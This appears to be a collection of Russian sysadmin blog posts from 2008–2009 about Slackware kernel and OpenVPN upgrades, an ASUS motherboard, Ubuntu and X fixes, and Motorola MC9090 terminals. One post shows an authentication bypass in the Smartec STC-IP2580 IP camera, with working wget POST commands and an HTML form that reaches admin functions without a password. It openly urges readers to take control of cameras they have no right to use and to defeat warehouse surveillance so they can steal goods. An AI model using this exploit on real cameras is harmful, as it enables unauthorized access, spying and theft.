28 Май 2009 г.

Материнская плата ASUS P5QL-EM

  1. Возможно для вас важна такая характеристика материнской платы как максимальный объём поддерживаемой памяти. Тогда ни в коем случае не покупайте Asus P5QL-EM. Фактически заявленного объема в 8Гб вам достичь не удасться, только 4Гб. Точнее можно, но для этого нужна особо хитрая специальная память, которой в обычных замкадских магазинах не купишь. До этого момента я полностью доверял компании Asus и раньше она в подобном обмане потребителей замечена не была.
  2. На данной материнской плате Ubuntu 8.04 LTS при настройках BIOS по умолчанию не видит SATA-устройств. Чтобы исправить эту ситуацию необходимо в BIOS на вкладке «Main» выбрать пункт «Storage Configuration» и изменить значение параметра «Configure SATA As» c «IDE» на «AHCI». После этого всё устанавливается и загружается нормально, вот такое колдунство.

20 Май 2009 г.

Обновление ядра slackware из стандартных пакетов

Задача такая: есть продакшн-сервер на Slackwaree 9.1. Необходимо обновить на нем ядро до более-менее современой версии. Как ни жалко расставаться с последним в нашей конторе, верно служившим ядром 2.4-ой версии, но жизнь не стоит на месте.

Самостоятельная сборка пакета с ядром для slackware — задача простая, если знаешь что делать :-). Но я сторонник максимального использования стандартных компонентов, созданных официальным мейнтейнером. А учитывая что ядро это довольно независимая часть от остальной системы, то легко можно использовать стандартные пакеты от старших версий slackware.

Итак, на текущий момент, последняя версия Slackwaree 12.2 с ядром 2.6.27.7 — неплохо. Нам понадобятся следующие пакеты:

kernel-generic-smp-2.6.27.7_smp-i686-1.tgz
kernel-modules-smp-2.6.27.7_smp-i686-1.tgz
mkinitrd-1.3.2-i486-4.tgz

Я выбрал generic-smp версию ядра, как наиболее подходящюю под своё железо. Надеюсь вы нигде не используете huge версии ядер, которые подходят только для начальной установки системы? Подробнее можно прочитать здесь: «Стандартные ядра в Slackware 12». Для установки generic-ядра понадобится утилита mkinitrd. Т.к. в Slackware 9.1 ее нет в стандартных репозитариях, также берем пакет из Slackware 12.2.

Выкачиваем все эти пакеты в какую-либо директорию и выполняем там команду:

installpkg *.tgz

Далее остается настроить загрузчик lilo на использование нового ядра. Как это сделать так же можно прочитать по приведенной выше ссылке.

Всё, после перезагрузки сервера можно наслаждаться каттинг эдж ядром из стандартного пакета на старенькой ОС:

# cat /etc/slackware-version 
Slackware 9.1.0
# uname -sr 
Linux 2.6.27.7-smp

P.S. Надеюсь вы понимаете, что предже чем проделывать всё это на рабочем сервере, необходимо провести эксперимент на тестовом :-)

4 Март 2009 г.

Программная уязвимость IP камеры Smartec STC-IP2580

Я не специалист по видеонаблюдению вообще и по IP-камерам в частности. Но мне, как системному администратору, была поставлена задача. Софт, поставляемый с камерой Smartec STC-IP2580 часто переглючивает. На текущий момент, нам известен лишь один способ полечить эти глюки. Это перезагрузка камеры через её веб-интерфейс. Мне нужно было автоматизировать этот процесс, т.е. программно выполнять перезагрузку камер по расписанию.

Приступив к решению задачи, я выяснил что доступ к веб-интерфейсу камеры, как и полагается, закрыт паролем. Сначала я предполагал использовать пример из документации утилиты wget для доступа к запороленным ресурсам сайта:

# сначала залогинится и сохранить сессионный cookie
wget --save-cookies cookies.txt \
     --post-data 'user=foo&password=bar' \
     http://server.com/auth.php

# используя сохраненный cookie получить доступ
# к закрытым страницам сайта
wget --load-cookies cookies.txt \
    -p http://server.com/interesting/article.php

Предположим что (это параметры по умолчанию):

  • ip-адрес камеры 192.168.1.1
  • логин Admin
  • пароль 123456

По-быстрому разобрав html-код формы авторизации, я выяснил имена параметров. Каково же было моё удивление, когда выполнив первую команду:

wget --save-cookies cookies.txt                               \
     --post-data "LOGIN_ACCOUNT=Admin&LOGIN_PASSWORD=123456"  \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Я обнаружил пустой файл cookie! В дальнейшем мои самые худшие опасения подтвердились — для доступа к ЛЮБЫМ функциям веб-интерфейса пароль не требуется совершенно!!! Авторизация на веб-интерфейсе камеры — это защита от честных людей. В частности, необходимая мне команда перезагрузки камеры выглядит так:

wget --post-data "SAVE_ADMIN=SAVE_ADMIN" \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Вы видите где-нибудь в этой команде использование пароля? Я тоже не вижу. Тем не менее, команда прекрасно работает.

Злобный одмин в организации сменил для ip-камеры стандартный пароль, а вам всё равно хочется порулить её настройками? Не беда, создайте html страничку следующего содержания:

<html>
  <body>
    <form
      action="http://192.168.1.1/cgi-bin/videoconfiguration.cgi"
      method="post"
    >
      <input type="hidden" name="SYSTEM_ADMIN" value="SYSTEM_ADMIN">
      <input type="submit" value="OK">
    </form>
  </body>
</html>

Далее откройте её в браузере, нажмите кнопку «OK» и пусть администратор подавится своим паролем! Хотите наблюдать за изображением с камеры, не имея на то полномочий? Легко! Система видеонаблюдения за складом в вашей организации основана на IP камерах Smartec STC IP2580, а на складе много всего вкусного? Ну теперь вы знаете как обмануть это дурацкое видеонаблюдение :-)

9 Февраль 2009 г.

Хранитель экрана в ubuntu (gnome) не принимает пароль?

В результате неизвестных науке действий около года назад у меня случилось несчастье. А именно, как написано в заголовке, хранитель экрана gnome перестал принимать правильный пароль. С наскоку разобраться не получилось, полная переустановка пакета gnome-screensaver не помогла. В качестве временного решения использовал выход в текстовую консоль и принудительное завершение процесса gnome-screensaver.

Но однажды у меня выдалось немного свободного времени, а также обострилось желание решить эту проблему. Копание в логах дало невнятные сообщения:

maxim@ubuntu610:~$ grep gnome-screensaver /var/log/auth.log
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) could not recover authentication token
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) authentication failure; logname= uid=1000 euid=1000 tty=:0.0 ruser= rhost=  user=maxim

Дальше спросил у великого Google. Пол-часа поисков дало описание проблемы и ее решение на launchpad.net. А именно владелец и группа файла /etc/shadow должны быть соотвественно root и shadow. Если это не так, то следующая команда исправит ситуацию:

sudo chown root:shadow /etc/shadow

После этого проблема была решена.

19 Декабрь 2008 г.

Обновление OpenVPN до версии 2.1

Зачем это понадобилось? Раньше на маршрутизаторе работал в режиме сервера старенький openvpn-2.0.7 используя протокол udp. Работал он хорошо, но была у него проблемка. Маршрутизатор подключен к нескольким провайдерам и соответственно у него имеется несколько сетевых интерфейсов. Так вот, пока у openvpn-сервера отсутствовали подключения openvpn-клиентов, то первый клиент мог подключится через любой сетевой интерфейс. Но чуть появлялось первое клиентское подключение, то все последующие соединения могли быть установлены только через тот же самый интерфейс, т.е. через того же самого провайдера.

Формулируя другими словами, openvpn сервер версии 2.0 не может принимать клиентские udp подключения через разные сетевые интерфейсы.

Предполагаемые варианты решения:

  1. Вместо udp использовать протокол tcp. Но во-первых, существует точка зрения что пропускать протокол tcp поверх протокола tcp это плохо. Во-вторых, хотелось бы избежать изменений в конфигурационных файлах клиентов, потому что их много и некоторые находятся в других городах.
  2. Использовать bridging. По непроверенным данным, если несколько сетевых интерфейсов объединить в один мост, данной проблемы не наблюдается. Зато появляются другие, навроде свободного прохождения широковещательных пакетов между клиентами.
  3. Обновить openvpn на маршрутизаторе до версии 2.1. В описании новых возможностей прямо говорится о решении данной проблемы: "multihome feature to enable UDP-based multihoming of the server on multiple interfaces". Единственный недостаток, на текущий момент OpenVPN 2.1 имеет статус бета-версии 2.1rc15.

Еще раз подчеркну, что выше перечислены только предполагаемые варианты решения. Фактически был опробован и оставлен в работе только вариант №3.

Подробно не буду останавливаться на процессе компиляции openvpn, т.к. пакетная система для каждого дистрибутива linux своя. Универсальный же способ из configure, make и make install, которым грешат многие статьи, гарантированно превращает вашу файловую систему в помойку. Для используемой у меня Slackware я уже описывал процесс пересборки tgz пакетов, как раз на примере openvpn. Всё что необходимо сделать — это выкачать свежий архив исходников и поменять версию openvpn в slackbuild-скрипте.

Обновление openvpn-сервера в целом прошло гладко. Единственное дополнение пришлось внести в конфигурационный файл openvpn-сервера, для совместимости режима вызова внешних скриптов:

# compatibility with OpenVPN 2.0
script-security 3 system

Клиенты заработали с полностью неизмененными, старыми конфигурационными файлами. Только в логах установки соединения для старых OpenVPN 2.0 клиентов стало появлятся сообщение:

Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:2: topology (2.0.9)

На это сообщение можно смело не обращать внимание до тех пор пока вам не вздумается на сервере OpenVPN 2.1 установить новый параметр конфигурации topology в значение, отличное от значения по умолчанию.

Несмотря на статус бета-версии никаких проблем в работе нового openvpn не наблюдается. Наоборот, новая для OpenVPN 2.1, возможность udp multihome заработала просто прекрасно. Теперь клиенты могут использовать для соединения того провайдера, который им удобнее, дешевле и т.д.

P.S. При сборке пакета для Slackware 9.1 штатный gcc-3.2.3 ниасилил сборку нового openvpn со следующим сообщением об ошибке:

ssl.c:3402:1: directives may not be used inside a macro argument
ssl.c:3401:92: unterminated argument list invoking macro "msg"
ssl.c: In function `key_method_2_read':
ssl.c:3403: invalid type argument of `->'
ssl.c:3408: syntax error before ')' token
make[2]: *** [ssl.o] Error 1

Тут ситуация не совсем понятна. Толи это убогая старая версия препроцессора С, толи разработчики OpenVPN используют приёмы программирования на грани разрешенного. Во всяком случае версия gcc-4.2.4 от новой Slackware 12.2 собрал этот пакет без проблем. Т.к. компилятор языка C написан на языке C, то сначала пришлось скомпилировать пакет с компилятором, обновить пакет gcc, а потом уж компилировать openvpn :)

25 Ноябрь 2008 г.

Проблема при доустановке X-ов и KDE в Slackware

Симптомы. Дистрибутив Slackware 12.1. Сначала устанавливается только консольная часть системы. Позже, при доустановке X-ов и KDE, иксы отказываются запускаться с сообщением в /var/log/Xorg.0.log:

Fatal server error:
could not open default font 'fixed'

После долгих исканий помог следующий рецепт:

cd /
/var/log/setup/setup.04.mkfontdir
/var/log/setup/setup.05.fontconfig

Необходимо обратить внимание что первая команда cd важна, скрипты корректно отрабатывают только при запуске из корневой директории.

При установке системы сразу с X-ами такого не наблюдается, т.к. запуск этих скиптов являются частью установки системы. Жаль, но это явная недорабтка в моём любимом дистрибутиве Linux. Зафиксировал описание отдельным постом, т.к. поиски решения в интернет затруднены. Результаты гугления уводят по ложному направлению проблем с неким X Font Server. Справедливости ради при должном упорстве описание решения можно найти.

6 Ноябрь 2008 г.

Программно-аппаратные особенности терминалов Motorola MC9090

Я уже писал про программы для терминалов Motorola MC9090. Продолжаю свои заметки про этот промышленный терминал. Основная особенность — всего много.

4 вида памяти

Директория /Cache Disk — энергозависимая память, её содержимое не сохраняется при перезагрузках терминала. Но она во много раз быстрее остальных типов памяти. Как видно из названия директории монтирования, основное предназначение — для разного рода кэшей.

Директория /Application — сверхпостоянная память, которая переживает даже сброс терминала к заводским настройкам. Примерный объем 20 Мб. Здесь можно хранить, например, дистрибутивы программ или какие-либо настройки реестра, которые могут понадобится после процедуры Clean Boot (см. ниже).

Директория /SD Card — дополнительная внешняя заменяемая флеш-карта.

Прочие директории — постоянная память, как в обычных КПК.

4 вида перезагрузки

Warm Boot — простая перезагрузка терминала.

Cold Boot — по документации это перезагрузка терминала с очисткой каких-то внутренних таймеров, т.е. вроде бы почти не отличается от Warm Boot. На практике же иногда терминал приходит в такое состояние, что перестает адекватно себя вести и Warm Boot просто не выполняется. Cold Boot же не подводил ещё не разу, однако его необходимо проводить только в безопасной зоне, т.к. необходимо извлекать основной аккумулятор.

Clean Boot — сброс операционной системы терминала к заводским настройкам. Выполняется с помощью специального программного обеспечения. Директория /Application сохраняет своё содержимое. Аналогично переустановке операционной системы.

Clean Boot с очисткой директории /Application — полный сброс состояния терминала к заводским настройкам. Никакие изменения сделанные пользователем не сохраняются. Аналогично форматированию всех винтов и переустановке операционной системы.

2 аккамулятора

В дополнение к основному аккумумятору терминал комплектуется дополнительной резерной батареей. Этим объясняется тот забавный факт, что иногда терминал показывает сообщения при извлеченном основном аккумяторе. В документации утверждается что резевная батарея может поддерживать терминал ещё как минимум 72 часа после разрядки основного аккамулятора.